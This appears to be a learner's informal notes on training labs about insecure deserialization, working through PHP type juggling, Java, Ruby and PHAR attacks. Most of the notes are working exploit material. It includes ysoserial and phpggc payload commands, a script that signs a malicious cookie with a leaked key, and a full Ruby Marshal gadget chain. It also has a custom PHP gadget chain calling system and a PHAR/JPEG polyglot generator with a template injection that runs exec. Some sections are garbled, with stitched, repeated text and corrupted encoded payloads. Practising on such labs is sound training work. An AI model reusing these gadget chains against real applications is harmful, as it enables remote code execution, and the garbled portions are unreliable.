
Lab: Modifying serialized objects


This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user

carlos.

You can log in to your own account using the following credentials: wiener:peter







Lab: Modifying serialized data types

This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete the user

carlos.


You can log in to your own account using the following credentials: wiener:peter


so basically php is vulnerable


on comparision value

 $5 == "5" = \Rightarrow$ it says true

0 =="hello guys" = ⇒ true because zero doesnt have any value and in string there is no int to compare i mean first value is h it means nothing with compare int zero








make user administrator and increase the value of s to 13

it comparing accestoken
so let make it int zero
it will look for int 0 fro first value

and here will original token but it will start with some character so it will ture

int 0 == "originaltoken" = ⇒ true




Lab: Using application functionality to exploit insecure deserialization


This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the


morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

You also have access to a backup account: gregg:rosebud








one token is for carlos
another one is for wiener
and another other is for gegg


turn on intercep then do this delete request
and send to repater
and then drop or if your not drpping then it will delete your user
thne you have to use backup account




Lab: Arbitrary object injection in PHP


This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab.

You can log in to your own account using the following credentials: wiener:peter





```
1 0:14:"CustomTemplate":1:{s:14:"lock_f
  ile_path";s:23:"/home/carlos/
  morale.txt";}
```



WithEncoded ⇒ TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6Imxv Y2tfZmlsZV9wYXRoIjtzOjlzOilvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCl7f Q%3d%3d

withoutEncoded ⇒ O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:2 3:"/home/carlos/morale.txt";}

Lab: Exploiting Java deserialization with Apache Commons

This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don't have source code access, you can still exploit this lab using pre-built gadget chains.

To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter



charon@DESKTOP-UGPP1DL:~/loo\$ java -jar ysoserial-all.jar CommonsCollections2 'rm /home/carlos/morale.txt' | base64 -w 0

ronABXNyABdqYXZhLnV@aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGLsL0NvbXBhcmF0b3J7eHAAAAACC3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci5hPArsQjMAgACTAAJZGYjb3JhdGVkcQB+AAFMAAt0cmFuc2ZvcmllcnQALUxvcmcvYXBhY2hll2NvbW1vbnMvY29sbGYjdGlvbnM0L1Ry
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9JR\uG6xWWIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L7
9JR\uG6xWWIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8
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bmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbA1XT8FurKszAwAGSQANX21uZGVudE51bWJ1ckkAD190cmFuc2x1dEluZGV4WwAXX2J3GGVj
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ZXJpYWwvcGF5bG9hZHMvdXRpbc9HYWRnZXRZJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNhb3J1AQByKExjb20vc3VuL29yZy9hcGFj
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YXRpb25IYW5kbGVy0JWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1N1cmlhbG16

this is without encoded while using in session cokkie just encode with url


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this is now url encoded

rOOABXNyABdqYXZhLnVOaWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwA CSQAEc2I6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcm F0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9 uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArs QjMAqACTAAJZGVjb3JhdGVkcQB%2bAAFMAAt0cmFuc2Zvcm1lcnQALUx vcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVy O3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tc GFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc 3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3Rvcn MuSW52b2tlclRyYW5zZm9ybWVyh%2bj/a3t8zjgCAANbAAVpQXJnc3QAE 1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2 xhbmcvU3RyaW5nO1sAC2IQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2 xhc3M7eHB1cgATW0xgYXZhLmxhbmcuT2JgZWN0O5DOWJ8QcylsAgAAe HAAAAAAAAAObmV3VHJhbnNmb3JtZXJ1cqASW0xqYXZhLmxhbmcuQ2x hc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmc uYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzS W1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldElu ZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbW VxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9 Qcm9wZXJ0aWVzO3hwAAAAAP////91cqADW1tCS/0ZFWdn2zcCAAB4cAA AAAJ1cqACW0Ks8xf4BqhU4AIAAHhwAAAGqsr%2bur4AAAAyADkKAAMA IgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3Rh bnRWYWx1ZQWtlJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9M aW5ITnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxIVGFibGUBAAR0aGlzA QATU3R1YIRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c 29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2 xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFj aGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmc

vYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb2 5IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL 3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY2 9tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nlc mlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNv bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2×0Yy9ET007 TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUT UF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5h bC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAlaXRlcm F0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vR FRNQXhpc0I0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYX BhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25lY W5kbGVyOwEACINvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACw cAKAEAM3Izb3NlcmlhbC9wYXIsb2Fkcy91dGlsL0dhZGdldHMkU3R1YIRyY W5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9 pbnRlcm5hbC94c2×0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABR qYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS9 4YWxhbi9pbnRlcm5hbC94c2×0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb 3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWp hdmEvbGFuZy9SdW50aW1IBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmE vbGFuZy9SdW50aW1IOwwALAAtCgArAC4BABpybSAvaG9tZS9jYXJsb3Mv bW9yYWxILnR4dAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpb mc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tN YXBUYWJsZQEAG3Izb3NlcmlhbC9Qd25lcjkxMDk1MzA3OTlyOQEAHUx5c 29zZXJpYWwvUHduZXI5MTA5NTMwNzkyMjk7ACEAAgADAAEABAABABo ABQAGAAEABWAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3 AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAA BABMAFAACAAWAAAA/AAAAWAAAAGxAAAAAqANAAAABqABAAAANA AOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACAB kAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANA AAABgABAAAAOAAOAAAKgAEAAAAAAQAPADgAAAAAAAEAFQAWAAEA AAABABWAHQACAAAAAQAeAB8AAWAZAAAABAABABOACAApAAsAAQA MAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwA BAWACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAYAAAB1M r%2bur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNIcmlhbFZlcnNpb25V SUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgE




Lab: Exploiting PHP deserialization with a pre-built gadget chain


This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don't have source code access, you can still exploit this lab's insecure deserialization using pre-built gadget chains.

To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the

morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter





```
(charon@ DESKTOP-U6PP1DL)-[~/temp/phpggc]

$ /phpggc Symfony/RCE4 exec 'rm /home/carlos/moraleitxtto| base64 -w 0

Tzo0NzoiJ3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUVwddsd2FyZUFkYXB0ZXIIOj16e3M6NTc6IgBTeWImb255XENvbXBvbmVudFxDYWNoZVxB

ZGFwdGVyXFRhZ0F3YXJQWRhcHRlcgBkZWZlcnJlZCI7YToxOntp0jA7TzozMzoiJ3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntz0jEx

OiIAkqBwb29s5GFzaCI7aToxO3M6MTI6IgAqAGclubmVy5XRlbsI7czoyNjoicm0gt2hvbWUyY2FybG9zL2IvcmFsZS59eHQi0319czolMzoiAFN8bWZvbnlc

Q29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmV8ZGFwdGVyAHBvb2wi0086NDQ6ilN8bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlB

ZGFwdGVyIjoyOntz0jU00iIAU3ltZm9ueVxDb2Iwb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2gi0Zk6MTtz0jU4DiIAU3ltZm9u

eVxDb2Iwb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcgV9SW5uZXJJdGVtIjtz0jQ6ImV4ZWMi03j9Cg¬ntz0jU00iIAU3ltZm9u

(charon@ DESKTOP-U0FPIDL)Tir/Semp/phpggclvcQWRhcHRlclxQcm94eUFkYXB0ZXIAcg9vbEhhc2gi02k6MTtz0jU40iIAU3ltZm9

ueVxDb2Iwb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcg9vbEhhc2gi02k6MTtz0jU40iIAU3ltZm9

ueVxDb2Iwb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcg9vbEhhc2gi02k6MTtz0jU40iIAU3ltZm9
```


```
<?php
$secret = "94wajsx3l39i4lfls18rffcax68sot5b";
$token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXI10j16e
3M6NTc6IgBTeW1mb255XENvbXBxbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJ1QwRhcHRlcgBkZWZlcnJlZCI7
YToxOntpOjATTzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVCQ2FjaGVJdGVtIjoyOntzOjEvoIIAKgBwb29
$SGFzaCITaToxO3M6MTI6IgAqAGlubmVySXRlb5ITczoyNjoicm0gl2hvbWUvY2Fyb69zl21vcmFsZ550eHQi03
19czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wi0086N
DQ6I1N5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU00iIAU3ltZm9u
eVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2gi02k6MTtzOjU40iIAU3ltZm9u
eVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMi03
19Cg==";

// FIXED: Proper hash_hmac usage
$sig = hash_hmac('sha1', $token, $secret);

// Correctly build the final cookie JSON
$cookie = urlencode(json_encode([
    "token" => $token,
    "sig_hmac_sha1" => $sig
]));

echo $cookie . "\n";
?>
```

```
<?php
$secret = "94wajsx3l39i4lfls18rffcax68sot5b";
$token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclx
UYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVu
dFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJIQWRhcHRlcgBkZWZlcnJIZCI7Y
ToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJd
GVtljoyOntzOjExOilAKgBwb29sSGFzaCl7aToxO3M6MTl6lgAqAGlubmVySX
RIbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1Mz
oiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hIXEFkYXB0ZXJcVGFnQXdhcmV
BZGFwdGVyAHBvb2wiO086NDQ6IIN5bWZvbnlcQ29tcG9uZW50XENhY2hl
XEFkYXB0ZXJcUHJveHIBZGFwdGVyljoyOntzOjU0OilAU3ltZm9ueVxDb21w
b25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k
6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm9
4eUFkYXB0ZXIAc2V0SW5uZXJJdGVtljtzOjQ6lmV4ZWMiO319Cg==";
// FIXED: Proper hash_hmac usage
$sig = hash_hmac('sha1', $token, $secret);
// Correctly build the final cookie JSON
$cookie = urlencode(json_encode([
  "token" ⇒ $token,
  "sig_hmac_sha1" ⇒ $sig
]));
echo $cookie . "\n";
?>
```



Lab: Exploiting Ruby deserialization using a documented gadget chain

This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.

To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

```
| Ccharon@ DESKTOP-U6PP1DL) [~/temp] | Lab: Exploiting Ruby descrialization using a documented gadget chain require 'rubygems' require 'rubygems/package' The Required to use Gead: Package: TarReader the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.

# Prevent execution during marshall dump find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.ext file from Carlos's home directory.

You can log in to your own account using the following credentials: Wiener:peter wal instance_variable_set('@socket', Kernel) wal.instance_variable_set('@socket', Kernel) wal.instance_variable_set('@method_id', :system)

# Set up a malicious RequestSet object require 'rubygems' fraction using a documented gadget chain require 'rubygems' TarReader the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.

# Prevent execution during marshall dump find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.ext file from Carlos's home directory.

You can log in to your own account using the following credentials: Wiener:peter

Will prove the payload object containing a remote code execution create a malicious serialized object into the website to delete the morale.ext file from Carlos's home directory.

You can log in to your own account using the following credentials: Wiener:peter

Will prove the payload object containing a remote code execution or create a malicious serialized object into the website to delete the morale.ext file from Carlos's home directory.

You can log in to your own account using the following credentials: Wiener:peter with a remote code execution or create a malicious serialized object into the website to delete
```

```
require 'rubygems'
require 'rubygems/package' # 💥 Required to use Gem::Package::TarRead
er
require 'base64'
require 'net/http'
# Prevent execution during marshal dump
module Gem
 class Requirement
  def marshal_dump
   [@requirements]
  end
 end
end
# Create WriteAdapter manually to bypass constructor limitations
wa1 = Net::WriteAdapter.allocate
wa1.instance_variable_set('@socket', Kernel)
wa1.instance_variable_set('@method_id', :system)
# Set up a malicious RequestSet object
```

```
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
# Another WriteAdapter
wa2 = Net::WriteAdapter.allocate
wa2.instance_variable_set('@socket', rs)
wa2.instance_variable_set('@method_id', :resolve)
# Fake TarReader::Entry object
entry = Gem::Package::TarReader::Entry.allocate
entry.instance_variable_set('@read', 0)
entry.instance_variable_set('@header', "aaa")
# Wrap it in BufferedIO
buffered_io = Net::BufferedIO.allocate
buffered_io.instance_variable_set('@io', entry)
buffered_io.instance_variable_set('@debug_output', wa2)
# TarReader object
tar_reader = Gem::Package::TarReader.allocate
tar_reader.instance_variable_set('@io', buffered_io)
# Malicious Requirement object
req = Gem::Requirement.allocate
req.instance_variable_set('@requirements', tar_reader)
# Final payload
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, req])
puts Base64.encode64(payload)
```


```
charon DESKTOP-U6PP1DL) — [~/temp]
req/thispance_variable_set('@requirements', tar_reader)

$ ruby rubyid.rb

BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06

OlJlcXVpcmVtZW50WwZvOhxHZW060lBhY2thZ2U60lRhclJlYWRlcgY6CEBp
b286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVh
ZGVy0jpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRl
YnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdl
bTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2Rf
aWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxl
LnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```





Lab: Developing a custom gadget chain for PHP deserialization

This lab uses a serialization-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialization to achieve remote code execution. To solve the lab,

Insecure description 23

delete the


morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

```
        Send
        ∅
        Cancel
        < | ▼</th>
        > | ▼

                                                                                                                                 Target: https://0aed006a045c338181140c8600e800da.web-security-academy.net
Pretty Raw
                                                                                                                         Pretty Raw Hex Render
  Host: 0aed006a045c338181140c8600e800da.web-security-academy.net
  Cookie: session=
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Vin64; x64; rv:137.0)
Gecko/20100101 Firefox/137.0
                                                                                                                                                                    Username
                                                                                                                                                              username
</label>
<input required type=username name="username"
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                              autofocus>
  Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
                                                                                                                                                              <label>
    Password
  Referer:
https://0aed006a045c338181140c8600e800da.web-security-academy.net/
Upgrade-Insecure-Requests: 1

<input required type=password name="password">
<button class=button type=submit>
  upgmade-Insecture-Requests:
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ₹1
Priority: u=0, i
Te: trailers
                                                                                                                                                              Log in
                                                                                                                        95 <div class="footer-wrapper">
96 </div>
97 </div>
```



now look the code and modify the php code to generate serialize payload

```
<?php
// === Include vulnerable classes ===</pre>
```

```
class CustomTemplate {
  private $default_desc_type;
  private $desc;
  public $product;
  public function __construct($desc_type = 'HTML_DESC') {
    $this → desc = new Description();
    $this → default_desc_type = $desc_type;
    $this → build_product();
  }
  public function __sleep() {
    return ["default_desc_type", "desc"];
  }
  public function __wakeup() {
    $this → build_product();
  }
  private function build_product() {
    $this → product = new Product($this → default_desc_type, $this → desc);
  }
}
class Product {
  public $desc;
  public function __construct($default_desc_type, $desc) {
    $this → desc = $desc → $default_desc_type;
  }
}
class Description {
  public $HTML_DESC;
  public $TEXT_DESC;
```

```
public function __construct() {
    $this→HTML_DESC = 'This product is <bli>blink>SUPER</blink> cool
in html';
    $this → TEXT_DESC = 'This product is cool in text';
  }
}
class DefaultMap {
  private $callback;
  public function __construct($callback) {
    $this → callback = $callback;
  }
  public function __get($name) {
    return call_user_func($this → callback, $name);
  }
}
// === Build Exploit ===
// Step 1: Create a legitimate CustomTemplate object
$exploit = new CustomTemplate(); // default values, doesn't matter
// Step 2: Use reflection to overwrite private properties
$ref = new ReflectionClass($exploit);
// Change default_desc_type to malicious command
$prop_type = $ref→getProperty('default_desc_type');
$prop_type→setAccessible(true);
$prop_type→setValue($exploit, 'rm /home/carlos/morale.txt');
// Replace desc object with our DefaultMap + system() callback
$prop_desc = $ref→getProperty('desc');
$prop_desc→setAccessible(true);
```

```
$prop_desc→setValue($exploit, new DefaultMap('system'));

// Step 3: Serialize and print the payload
$payload = serialize($exploit);
echo "✓ Final Payload:\n$payload\n";
```


```
charon⊕DESKTOP-U6PP1DL)-[~/temp]

$ php exploit.php

Final Payload:

0:14:"CustomTemplate":2:{s:33:"CustomTemplatedefault_desc_type";s:26:"rm /home/carlos/morale,txt";s:20:"CustomTemplatedesc";0:10:"DefaultMap":1:{s:20:"DefaultMapcallback";s:6:"system";}}

$ this->build_product();
```



Lab: Using PHAR deserialization to deploy a custom gadget chain

This lab does not explicitly use deserialization. However, if you combine PHAR deserialization with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain.

To solve the lab, delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

```
<?php

function generate_base_phar($o, $prefix){
  global $tempname;
  @unlink($tempname);</pre>
```

```
$phar = new Phar($tempname);
  $phar→startBuffering();
  $phar→addFromString("test.txt", "test");
  $phar→setStub("$prefix<?php __HALT_COMPILER(); ?>");
  $phar→setMetadata($o);
  $phar→stopBuffering();
  $basecontent = file_get_contents($tempname);
  @unlink($tempname);
  return $basecontent;
}
function generate_polyglot($phar, $jpeg){
  $phar = substr($phar, 6); // remove <?php dosent work with prefix</pre>
  $len = strlen($phar) + 2; // fixed
  new = substr(speg, 0, 2) . "xff\xfe" . chr((slen >> 8) & 0xff) . chr(slen)
& Oxff) . $phar . substr($jpeq, 2);
  $contents = substr($new, 0, 148) . " " . substr($new, 156);
  // calc tar checksum
  chksum = 0;
  for (\$i=0; \$i<512; \$i++){
    $chksum += ord(substr($contents, $i, 1));
  }
  // embed checksum
  $oct = sprintf("%070", $chksum);
  $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
  return $contents:
}
// pop exploit class
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
```

```
$blog → desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_sel
f.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog→user = 'user';
$object→template_file_path = $blog;
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';
var_dump(serialize($object));
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payloa
d, $prefix), $jpeg));
/*
// config for gif
prefix = \frac{x47}{x49}x46x38x39x61" . \frac{x2c}{x01}x2c}{x01}; // gif header, s
ize 300 × 300
$tempname = 'temp.phar'; // make it phar
$outfile = 'out.gif';
// make gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));
*/
```

